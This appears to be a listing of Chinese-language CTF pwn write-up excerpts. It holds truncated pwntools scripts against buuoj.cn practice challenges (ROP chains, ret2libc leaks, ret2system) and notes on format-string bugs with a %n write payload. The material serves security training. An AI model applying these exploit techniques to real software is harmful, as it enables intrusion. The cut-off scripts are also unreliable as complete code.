vuln函数中使用了两个syscall指令,根据rax即可知道该指令调用的是哪个系统调用 第一个syscall:与自己进行异或操作(对应xor指令),得到的结果就是0,系统调用号为0的系统调用是read 第二个syscall:给rax赋值为1(对应代码mov rax 1),系统调用号为1的系统调用是write read存在栈溢出 write能泄露数据 1 | rax = 59//对应59号系统调用-> exceve 2 | rdi = ‘/bin/sh’ 3 | rsi = 0 4 | rdx = 0

from pwn import * from LibcSearcher import LibcSearcher context(arch='amd64', os='linux', log_level='debug') io = connect('node5.buuoj.cn', 27678) offset = 40 main_addr = 0x0000000000400636 ret_addr = 0x00000000004004d1 rdi_addr = 0x0000000000400733 elf = ELF("./babyrop2") read_got = elf.got['read'] printf_plt =...

from pwn import * from LibcSearcher import LibcSearcher context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26718) # 与在线环境交互。 offset = 0x2c + 0x4 vuln_addr = 0x804852F elf = ELF("./pwn") printf_got = elf.got['printf'] printf_plt =...

from pwn import * from LibcSearcher import * local_file = ('./ciscn_2019_n_5') select = 1 if select == 0: r = process(local_file) else: r = remote('node5.buuoj.cn', 27578) elf = ELF(local_file) context.log_level = 'debug' offset1 = 64 offset2 = 0x20+0x08 puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] main_addr =...

from pwn import * # p = process('./ne_5') p = remote("node5.buuoj.cn", 29898) sh = 0x80482ea sys_addr = 0x080484D0 # 使用ROPgadget找 p.sendlineafter("password:", b'administrator') p.sendlineafter(b'0.Exit\n:', b'1') payload = b'a' * (0x48 + 4) + p32(sys_addr) + b'aaaa' + p32(sh) # 使用system函数传参 同时用任意数据填充4个字节的返回地址...

from pwn import * local_file = './PicoCTF_2018_rop_chain' select = 1 if select == 0: r = process(local_file) else: r = remote('node5.buuoj.cn', 28015) elf = ELF(local_file) context.log_level = 'debug' flag = 0x0804862B win1=elf.sym['win_function1'] win2 = 0x080485D8 pop = 0x0804840d #win2传入一个参数为-1163220307,运行完后...

payload3 = b'AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p' io.sendline(payload3) 看到0x41414141在11个 from pwn import * #start r = process("../buu/jarvisoj_fm") #params x_addr = 0x804A02C #attack payload = b'%4c%13$n' + p32(x_addr) print(payload) r.sendline(payload) r.interactive() 1. p32(x_addr):指定“写入的目标” 含义...

from pwn import * local_file = './pwn' local_libc = './libc-2.31.so' remote_libc = './libc-2.31.so' select = 1 if select == 0: r = process(local_file) libc = ELF(local_libc) else: r = remote('node5.buuoj.cn',27019) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch def...

from pwn import * from LibcSearcher import * local_file = '文件' local_libc = 'libc表' remote_libc = 'libc表' select = 1 if select == 0: r = process(local_file) libc = ELF(local_libc) else: r = remote(地址) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' # ROPgadget --binary ciscn_2019_c_1 --only...

输入的参数的个数是不固定的,是由前面的格式化字符串决定的,所以我们只要控制了前面的格式化字符串,再结合一些参数,后面输出什么就是由我们决定的;如: %d 用于读取10进制数值 %x 用于读取16进制数值 %s 用于读取字符串值 %n 用于读取前面字符串的长度并写入某个内存地址 函数 说明 printf() 向标准输出打印格式化内容 fprintf() 向指定文件流输出 sprintf() 输出到字符串 snprintf() 输出到字符串,带长度限制 格式符 含义 危险性 %x 输出一个4/8字节十六进制值(从栈上读) 信息泄露 %s 把栈上的值当作地址,输出该地址处的字符串 任意地址读 %p 输出一个指针地址 地址泄露 %n 将当前...